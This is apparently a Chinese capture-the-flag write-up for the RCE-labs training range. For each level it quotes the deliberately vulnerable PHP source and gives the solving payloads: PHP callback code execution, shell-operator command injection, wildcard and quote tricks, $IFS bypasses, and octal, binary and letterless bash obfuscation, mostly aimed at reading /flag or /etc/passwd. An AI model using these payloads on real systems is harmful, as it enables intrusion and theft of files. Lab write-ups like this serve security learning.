前言
靶场题目来自青少年ctf
【RCE-labs】Level 1
第一关没有过滤,hackber传参
a=system('cat get_flag.php'); 查看文件内容
<?php
$file_path = "/flag";
if (file_exists($file_path)) {
$flag = file_get_contents($file_path);
}
else{
$flag = "HelloCTF{Default_Flag}";
}
// 根目录下默认存有flag但不建议心存侥幸ww
?>
第一次没看直接就把HelloCTF{Default_Flag}交上去了,🤡🤡🤡。然后发现还要输出flag
a=echo $flag;

【RCE-labs】Level 2
<?php
include ("get_flag.php");
global $flag;
session_start(); // 开启 session
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP代码执行函数 ---
除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。
在该关卡中,你将会从能够执行代码的PHP函数中抽取一个,你需要填充函数的内容来执行某些代码以获取flag(tip:flag存储在 $flag 中,当然你也可以尝试其他方法)。
*/
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
function get_fun(){
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>
不是这对吗,这一关的代码怎么这么长,压力ai啊也是终于看懂了。这点代码要从下望上看,首先get传入一个action,若 action=r
:清除 session,下次访问会重新随机函数(重置功能若 action=submit
:读取 POST 参数content
(用户输入),调用 hello_ctf()
执行代码。这里输入?action=1,然后就会调用get_fun函数。
get_fun函数给出一个列表,然后随机给出一个函数,并给出目标url查看函数用法,最后到hello_ctf函数,这是action的值是sumbit,post传参content,content与给出的函数进行拼接执行,回显flag
代码流程就是这样,
首先?action=1获取函数preg_replace(随机的)这是一个替换函数
preg_replace
preg_replace($pattern, $replacement, $subject [, $limit = -1 [, &$count]]);
$pattern
:正则表达式模式(可以是字符串或数组)
$replacement
:替换内容(可以是字符串或数组)
$subject
:要处理的字符串或数组
返回值:替换后的字符串或数组
搜索 subject
中匹配 pattern
的部分,以 replacement
进行替换。
当使用 e
修饰符时,$replacement
参数会被当作 PHP 代码执行,然后将执行结果作为替换内容。
content的内容为
'/(.*)/ei', 'print_r("\\1")', {print_r(flag)});
'/(.*)/ei'是匹配所有字符串,'print_r("\\1")',\\1
引用第一个捕获组的内容, {print_r(flag)})这里应该是变量当做字符串处理了。
假设$flag=123,
{print_r(flag)})=$123
这里应该$123当做字符串处理(纯属个人猜测,错误请指出)然后输出字符串。
array_map
array_map
是 PHP 中的一个数组处理函数,它的作用是将一个回调函数应用到数组的每个元素上,
array_map(callable $callback, array $array1 [, array $... ])
$callback
:回调函数(要应用到数组元素的函数)
$array1
:需要处理的数组
返回值:处理后的新数组
回调函数 用var_dump,处理的数组 ['$flag']
get
?action=submit
post
content='var_dump', [$flag],得到flag
这里选用的要是回调函数不能是eval assert等
在 PHP 中,eval()
是一个语言构造器(language construct),而非普通函数,这意味着它有一些特殊的行为限制:
不能像普通函数那样作为回调参数传递(比如给 array_map
、call_user_func
等)不能被变量函数调用(如 $func = 'eval'; $func();
会报错)不能用于函数式编程中的高阶函数场景
可以用var_dump,print_r
array_filter
array_filter 是 PHP 中用于过滤数组元素的函数,它会将数组的每个元素传给回调函数,根据回调函数的返回值决定是否保留该元素
构造payload
content=[$flag], 'var_dump'
call_user_func_array
call_user_func_array
是 PHP 中用于调用回调函数并传递数组参数的函数,其基本语法为:
call_user_func_array(callable $callback, array $param_arr)
$callback
:要调用的回调函数
$param_arr
:包含参数的数组,数组元素会被作为参数传递给回调函数
返回值:回调函数的返回值
payload
content='var_dump',[flag\]或者是'print_r',\[flag]
eval
eval把字符串作为PHP代码执行,payload
content='echo $flag;'
create_function
create_function()
是 PHP 中一个用于动态创建匿名函数的内置函数,不过需要注意的是,这个函数在 PHP 7.2.0 中已被废弃,并且在 PHP 8.0.0 中被移除。现在更推荐使用匿名函数(闭包)语法来替代它。
create_function(string $args, string $code): string
$args
:函数的参数列表,格式类似普通函数的参数定义(如 '$a, $b'
)
$code
:函数体代码,以字符串形式传入(如 'return $a + $b;'
)
返回值:生成的匿名函数的唯一标识符(字符串)
我们需要创建一个函数,而且还要执行
'a','var_dump(flag);')('$a'
这个是拼接create_function('a','var_dump(flag);')('$a');构造且调用了,
但是返回的是null

询问ai后得到答案,create_function
里的作用域无法自动继承全局变量 ,需要声明一下
a','global flag;var_dump(flag);')('a'

或者另解:
content='a','echo system(\\'ls\\');')('a'
由于引号嵌套,用\转义
content='a','echo system(\\'cat get_flag.php\\');')('a'
content='a','echo file_get_contents("/flag");')('a'
call_user_func
call_user_func
是 PHP 中用于调用回调函数的函数,它可以将第一个参数作为回调函数,后续参数作为该回调函数的参数。基本语法为:
call_user_func(callable $callback [, mixed $parameter [, mixed $... ]])
$callback
:要调用的回调函数(可以是函数名、匿名函数等)
$parameter
:传递给回调函数的参数(可以有多个)
返回值:回调函数的返回值
content='var_dump',$flag
这个参数是flag,而不是'flag',不然会被解析为字符串
assert
assert()会将字符串当做php代码执行类似于echo,
assert('echo $flag;');
这个答案是错的,因为
echo
是语言结构,不是表达式;
assert()
期待一个表达式(如函数或比较表达式);
所以不能写 'echo $flag;'
,但可以写 'var_dump($flag)'
usort
usort()
是 PHP 的一个数组排序函数,它可以通过用户自定义的比较函数来排序数组。在 CTF 和安全测试中,它可以被利用来执行任意代码。
第一个参数是变量,第二个参数是函数,payload
content=x,print_r(flag)
array_reduce
array_reduce
是 PHP 中用于通过回调函数迭代地将数组简化为单个值的函数,基本语法为:
array_reduce(array $array, callable $callback [, mixed $initial = null ])
$array
:要处理的数组
$callback
:回调函数,接收两个参数(累计值和当前元素),返回新的累计值
$initial
:可选的初始值,作为第一次迭代的累计值(可选)
跟usort同一个payload。
【RCE-labs】Level 3
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 ---
「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的`shell_exec()`函数或Python中的`os.system()`函数。
当漏洞入口点只能执行系统命令时,我们可以称该漏洞为命令执行漏洞,如下面修改过的 "一句话木马":
try POST:
a=cat /etc/passwd;
*/
system($_POST['a']);
highlight_file(__FILE__);
?>
post传参就行了,
a=cat /flag
【RCE-labs】Level 4
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 ---
https://www.runoob.com/linux/linux-shell-basic-operators.html
SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test
||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."
;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"
try GET:
?ip=8.8.8.8
flag is /flag
*/
function hello_server($ip){
system("ping -c 1 $ip");
}
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;
highlight_file(__FILE__);
?>
?ip=127.0.0.1;cat%20/flag
?ip=1.1.1.1%26%26cat%20/flag (&需要url编码)
?ip=||cat%20/flag
?ip=1.1.1.1%26cat%20/flag
【RCE-labs】Level 5
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 终端特性_空字符忽略和通配符 ---
在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。
*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。
通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:
system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...
*/
function hello_shell($cmd){
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
这一题payload有很多,写两个?cmd=cat / fl""ag;?cmd=cat /fla*;
【RCE-labs】Level 6
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 挑战关 ---
刚才,学了什么来着!?
*/
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
过滤了b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]],但是a和/能用,这里可以构造
?cmd=/???/?a?%20/??a? /bin/cat /flag
?cmd=/???/?a??64 /??a?/ /bin/base64 /flag
【RCE-labs】Level 7
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 ---
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
*/
function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
这一关过滤了空格和flag字符串,注释里有提示,用%09绕过空格,
?cmd=cat%09/fl""ag
同时也可以用IFS,{IFS},
【RCE-labs】Level 8
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 重定向 ---
大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 ------ 这些是命令有回显的基础。
如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null
/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1
*/
function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
这里可以用shell符
?cmd=cat /flag>1.txt;
?cmd=cat /flag;
?cmd=cat /flag||
运用 ;执行多条命令
cat /flag>1.txt;>/dev/null 2>&1 拼接后先执行cat /flag>1.txt,后面是一条空命令不影响。
【RCE-labs】Level 9
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
从该关卡开始你会发现我们在Dockerfile中添加了一行改动:
RUN ln -sf /bin/bash /bin/sh
这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox
我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。
在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。
bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found
bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
根据只是构造payload
?cmd=%27\\143\\141\\164%27%20%27\57\146\154\141\147%27
这里分三部分
$'\143\141\164' cat
空格
$'\57\146\154\141\147' /falg
【RCE-labs】Level 10
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
允许使用 0 1 :$
、(
、)
、#
、=
、{
、}
、!
、~
这里直接使用给的工具写记性,最后payload需要url编码才行,直接用是不行的
?cmd=
%240%3C%3C%3C%240%5C%3C%5C%3C%5C%3C%5C%24%5C%27%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310001111%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310001101%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310100100%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%23101000%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%23111001%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310010010%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310011010%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310001101%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310010011%29%29%5C%27
【RCE-labs】Level 11
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;
highlight_file(__FILE__);
?>
跟上一关差不多,不过注意这是post传参
cmd=0%3C%3C%3C0\%3C\%3C\%3C\\\%27\\\\(((({##}%3C%3C{##}))#{##}000{##}{##}{##}{##}))\\(((({##}%3C%3C{##}))#{##}000{##}{##}0{##}))\\(((({##}%3C%3C{##}))#{##}0{##}00{##}00))\\\\(((({##}%3C%3C{##}))#{##}0{##}000))\\\\(((({##}%3C%3C{##}))#{##}{##}{##}00{##}))\\\\(((({##}%3C%3C{##}))#{##}00{##}00{##}0))\\(((({##}%3C%3C{##}))#{##}00{##}{##}0{##}0))\\(((({##}%3C%3C{##}))#{##}000{##}{##}0{##}))\\(((({##}%3C%3C{##}))#{##}00{##}00{##}{##}))\'
【RCE-labs】Level 12
同上
{!#}\<\<\<{!#}\<\<\<\\\'\\\\(((({##}<<{##}))#{##}{#}{#}{#}{##}{##}{##}{##}))\\\\(((({##}<<{##}))#{##}{#}{#}{#}{##}{##}{#}{##}))\\\\(((({##}<<{##}))#{##}{#}{##}{#}{#}{##}{#}{#}))\\\\(((({##}<<{##}))#{##}{#}{##}{#}{#}{#}))\\\\(((({##}<<{##}))#{##}{##}{##}{#}{#}{##}))\\\\(((({##}<<{##}))#{##}{#}{#}{##}{#}{#}{##}{#}))\\\\(((({##}<<{##}))#{##}{#}{#}{##}{##}{#}{##}{#}))\\\\(((({##}<<{##}))#{##}{#}{#}{#}{##}{##}{#}{##}))\\\\(((({##}<<{##}))#{##}{#}{#}{##}{#}{#}{##}{##}))\\'{!#}<<<{!#}\\\<\\\<\\\<\\\'\\(((({##}\<\<{##}))#{##}{#}{#}{#}{##}{##}{##}{##}))\\(((({##}\<\<{##}))#{##}{#}{#}{#}{##}{##}{#}{##}))\\(((({##}\<\<{##}))#{##}{#}{##}{#}{#}{##}{#}{#}))\\(((({##}\<\<{##}))#{##}{#}{##}{#}{#}{#}))\\(((({##}\<\<{##}))#{##}{##}{##}{#}{#}{##}))\\(((({##}\<\<{##}))#{##}{#}{#}{##}{#}{#}{##}{#}))\\(((({##}\<\<{##}))#{##}{#}{#}{##}{##}{#}{##}{#}))\\(((({##}\<\<{##}))#{##}{#}{#}{#}{##}{##}{#}{##}))\\(((({##}\<\<{##}))#{##}{#}{#}{##}{#}{#}{##}{##}))\'
【RCE-labs】Level 13
这不得不感慨一下这个工具真好用👍
?cmd=
__%3D%24%28%28%29%29%26%26%24%7B%21__%7D%3C%3C%3C%24%7B%21__%7D%5C%3C%5C%3C%5C%3C%5C%24%5C%27%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%5C%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7E%24%28%28%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%24%28%28%7E%24%28%28%29%29%29%29%29%29%29%29%5C%27
【RCE-labs】Level 14
开幕雷击 too long 我啥也没传类就 too long, 7字符rce ,这一题啥也没给而且也不给参数名,这边建议优化一下。看wp才知道,get 参数名是1
?1=ls,源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE ---
*/
if(isset($_GET[1]) && strlen($_GET[1]) < 8){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
highlight_file(__FILE__);
?>
这里用通配符匹配
?cmd=cat /f*
【RCE-labs】Level 15
【RCE-labs】Level 17
<?php
session_start();
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 ---
喵喵喵ww https://www.php.net/manual/zh/ref.exec.php
system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`
在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。
*/
function hello_ctf($function, $content){
if($function == '``'){
$code = '`'.$content.'`';
echo "Your Code: $code <br>";
eval("echo $code");
}else
{
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
}
function get_fun(){
$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>
跟第二关差不多
passthru
content='cat /flag'
system
content='cat /flag'
exec
这个会执行但是不会回显,这里构造
content='cat /flag >a'
然后访问a就行了
执行运算符
就是反引号
content='cat /flag >a'
popen
popen()
